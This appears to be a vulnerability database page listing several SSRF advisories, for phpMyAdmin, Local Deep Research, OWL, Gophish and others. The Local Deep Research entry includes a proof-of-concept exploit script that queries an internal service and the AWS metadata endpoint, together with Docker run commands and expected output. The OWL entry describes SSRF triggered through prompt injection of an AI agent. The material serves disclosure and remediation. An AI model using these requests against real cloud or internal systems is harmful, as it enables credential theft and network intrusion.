  "details": "Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-99hr-pvhp-jhhq",
  "modified": "2026-09-22T21:31:26Z",
  "published": "2026-09-22T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81999"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/aem-forms/apsb26-151.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-99XJ-XQC9-98HR

Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2024-04-24 17:16
VLAI
Summary
phpMyAdmin SSRF in replication
Details

phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4"
            },
            {
              "fixed": "4.4.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.0.10.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-1000017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:16:11Z",
    "nvd_published_at": "2017-07-17T13:18:00Z",
    "severity": "HIGH"
  },
  "details": "phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server",
  "id": "GHSA-99xj-xqc9-98hr",
  "modified": "2024-04-24T17:16:11Z",
  "published": "2022-05-14T01:15:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000017"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpmyadmin/composer"
    },
    {
      "type": "WEB",
      "url": "https://www.phpmyadmin.net/security/PMASA-2017-6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95732"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyAdmin SSRF in replication"
}

GHSA-9C54-GXH7-PPJC

Vulnerability from github – Published: 2025-12-23 18:17 – Updated: 2025-12-23 18:17
VLAI
Summary
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Details

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)


Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

  1. Attacker submits a malicious URL via POST /api/resources/<research_id>
  2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
  3. Download is triggered via /library/api/download/<resource_id>
  4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

  • Docker and Docker Compose installed
  • Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")

    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()

        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)

    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent": "Mozilla/5.0"}

    # EXPLOIT 1: Access internal service
    print("\n[EXPLOIT 1] Accessing internal service via SSRF")
    print(f"    Target: {internal_url}")

    try:
        # Same pattern as download_service.py line 1038
        response = requests.get(internal_url, headers=headers, timeout=30)
        print(f"    [!] SSRF SUCCESSFUL! Status: {response.status_code}")
        print(f"    [!] Retrieved secrets:")
        for line in response.text.split('\n')[:15]:
            print(f"        {line}")
    except Exception as e:
        print(f"    [-] Failed: {e}")
        return 1

    # EXPLOIT 2: AWS metadata bypass
    print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
    from local_deep_research.security.ssrf_validator import validate_url
    print(f"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
    print(f"    But download_service.py BYPASSES the validator!")

    try:
        requests.get(aws_metadata_url, timeout=5)
    except requests.exceptions.ConnectionError:
        print(f"    Request sent without SSRF validation!")

    print("\n" + "=" * 70)
    print("SSRF VULNERABILITY CONFIRMED")
    print("=" * 70)
    return 0

if __name__ == "__main__":
    sys.exit(main())

Step 3: Run the PoC

# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py

Expected Output

======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================

[EXPLOIT 1] Accessing internal service via SSRF
    Target: http://ssrf-internal-service:8080/secret-data
    [!] SSRF SUCCESSFUL! Status: 200
    [!] Retrieved secrets:
        {
          "status": "SSRF_SUCCESSFUL",
          "message": "You have accessed internal service via SSRF!",
          "internal_secrets": {
            "database_password": "super_secret_db_pass_123",
            "api_key": "sk-internal-api-key-xxxxx",
            "admin_token": "admin_bearer_token_yyyyy"
          }
        }

[EXPLOIT 2] AWS Metadata endpoint bypass
    SSRF validator: BLOCKED
    But download_service.py BYPASSES the validator!
    Request sent without SSRF validation!

======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================

Impact

Who is affected?

All users running local-deep-research in: - Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - Corporate networks - attackers can access internal services and databases - Any deployment - attackers can scan internal networks

What can an attacker do?

Attack Impact
Access cloud metadata Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations
Internal service access Read sensitive data from databases, Redis, admin panels
Network reconnaissance Map internal network topology and services
Bypass firewalls Access services not exposed to the internet

Recommended Fix

Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:

# download_service.py

+ from ...security.safe_requests import safe_get

  def _download_generic(self, url, ...):
-     response = requests.get(url, headers=headers, timeout=30)
+     response = safe_get(url, headers=headers, timeout=30)

The safe_get() function already validates URLs against SSRF attacks before making requests.

Files to update:

  • src/local_deep_research/research_library/services/download_service.py (9 occurrences)
  • src/local_deep_research/research_library/downloaders/base.py (uses requests.Session)

References


Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "local-deep-research"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T18:17:27Z",
    "nvd_published_at": "2025-12-23T01:15:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application\u0027s SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/\u003cresearch_id\u003e`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/\u003cresource_id\u003e`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n    def log_message(self, format, *args):\n        print(f\"[INTERNAL SERVICE] {args[0]}\")\n    \n    def do_GET(self):\n        print(f\"\\n{\u0027=\u0027*60}\")\n        print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n        print(f\"[!] Path: {self.path}\")\n        print(f\"{\u0027=\u0027*60}\\n\")\n        \n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        \n        secret_data = {\n            \"status\": \"SSRF_SUCCESSFUL\",\n            \"message\": \"You have accessed internal service via SSRF!\",\n            \"internal_secrets\": {\n                \"database_password\": \"super_secret_db_pass_123\",\n                \"api_key\": \"sk-internal-api-key-xxxxx\",\n                \"admin_token\": \"admin_bearer_token_yyyyy\"\n            }\n        }\n        self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n    print(\"[*] Starting mock internal service on port 8080\")\n    server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n    server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, \u0027/app/src\u0027)\n\ndef main():\n    print(\"=\" * 70)\n    print(\"SSRF Vulnerability PoC - Active Exploitation\")\n    print(\"=\" * 70)\n    \n    internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n    aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    \n    # EXPLOIT 1: Access internal service\n    print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n    print(f\"    Target: {internal_url}\")\n    \n    try:\n        # Same pattern as download_service.py line 1038\n        response = requests.get(internal_url, headers=headers, timeout=30)\n        print(f\"    [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n        print(f\"    [!] Retrieved secrets:\")\n        for line in response.text.split(\u0027\\n\u0027)[:15]:\n            print(f\"        {line}\")\n    except Exception as e:\n        print(f\"    [-] Failed: {e}\")\n        return 1\n    \n    # EXPLOIT 2: AWS metadata bypass\n    print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n    from local_deep_research.security.ssrf_validator import validate_url\n    print(f\"    SSRF validator: {\u0027ALLOWED\u0027 if validate_url(aws_metadata_url) else \u0027BLOCKED\u0027}\")\n    print(f\"    But download_service.py BYPASSES the validator!\")\n    \n    try:\n        requests.get(aws_metadata_url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print(f\"    Request sent without SSRF validation!\")\n    \n    print(\"\\n\" + \"=\" * 70)\n    print(\"SSRF VULNERABILITY CONFIRMED\")\n    print(\"=\" * 70)\n    return 0\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q \u0026\u0026 python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n    Target: http://ssrf-internal-service:8080/secret-data\n    [!] SSRF SUCCESSFUL! Status: 200\n    [!] Retrieved secrets:\n        {\n          \"status\": \"SSRF_SUCCESSFUL\",\n          \"message\": \"You have accessed internal service via SSRF!\",\n          \"internal_secrets\": {\n            \"database_password\": \"super_secret_db_pass_123\",\n            \"api_key\": \"sk-internal-api-key-xxxxx\",\n            \"admin_token\": \"admin_bearer_token_yyyyy\"\n          }\n        }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n    SSRF validator: BLOCKED\n    But download_service.py BYPASSES the validator!\n    Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n  def _download_generic(self, url, ...):\n-     response = requests.get(url, headers=headers, timeout=30)\n+     response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I\u0027m happy to provide any additional information or help with testing the fix.",
  "id": "GHSA-9c54-gxh7-ppjc",
  "modified": "2025-12-23T18:17:27Z",
  "published": "2025-12-23T18:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LearningCircuit/local-deep-research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service"
}

GHSA-9C7R-JXM8-HGG2

Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36
VLAI
Details

OWL's DocumentProcessingToolkit contains a server-side request forgery vulnerability in the extract_document_content tool that fetches caller-supplied URLs with no scheme, host, or IP filtering. Attackers can inject malicious URLs through prompt injection to make the server fetch internal resources, with responses returned to the agent context.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T15:17:45Z",
    "severity": "HIGH"
  },
  "details": "OWL\u0027s DocumentProcessingToolkit contains a server-side request forgery vulnerability in the extract_document_content tool that fetches caller-supplied URLs with no scheme, host, or IP filtering. Attackers can inject malicious URLs through prompt injection to make the server fetch internal resources, with responses returned to the agent context.",
  "id": "GHSA-9c7r-jxm8-hgg2",
  "modified": "2026-09-04T15:36:15Z",
  "published": "2026-09-04T15:36:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/camel-ai/owl/issues/615"
    },
    {
      "type": "WEB",
      "url": "https://github.com/camel-ai/owl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/camel-ai/owl/blob/fba1dd5b3a9e8cc15f16221bb002cca7e3de2d9d/owl/utils/document_toolkit.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/owl-documentprocessingtoolkit-server-side-request-forgery-via-url-fetching"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9C9W-9PQ7-F35H

Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2023-07-20 15:01
VLAI
Summary
Gophish vulnerable to Server-Side Request Forgery
Details

Gophish before 0.11.0 allows SSRF attacks.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gophish/gophish"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-24710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-20T15:01:40Z",
    "nvd_published_at": "2020-10-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Gophish before 0.11.0 allows SSRF attacks.",
  "id": "GHSA-9c9w-9pq7-f35h",
  "modified": "2023-07-20T15:01:40Z",
  "published": "2022-05-24T17:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gophish/gophish/commit/e3352f481e94054ffe08494c9225d3878347b005"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gophish/gophish"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gophish/gophish/releases/tag/v0.11.0"
    },
    {
      "type": "WEB",
      "url": "https://herolab.usd.de/security-advisories/usd-2020-0054"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gophish vulnerable to Server-Side Request Forgery"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.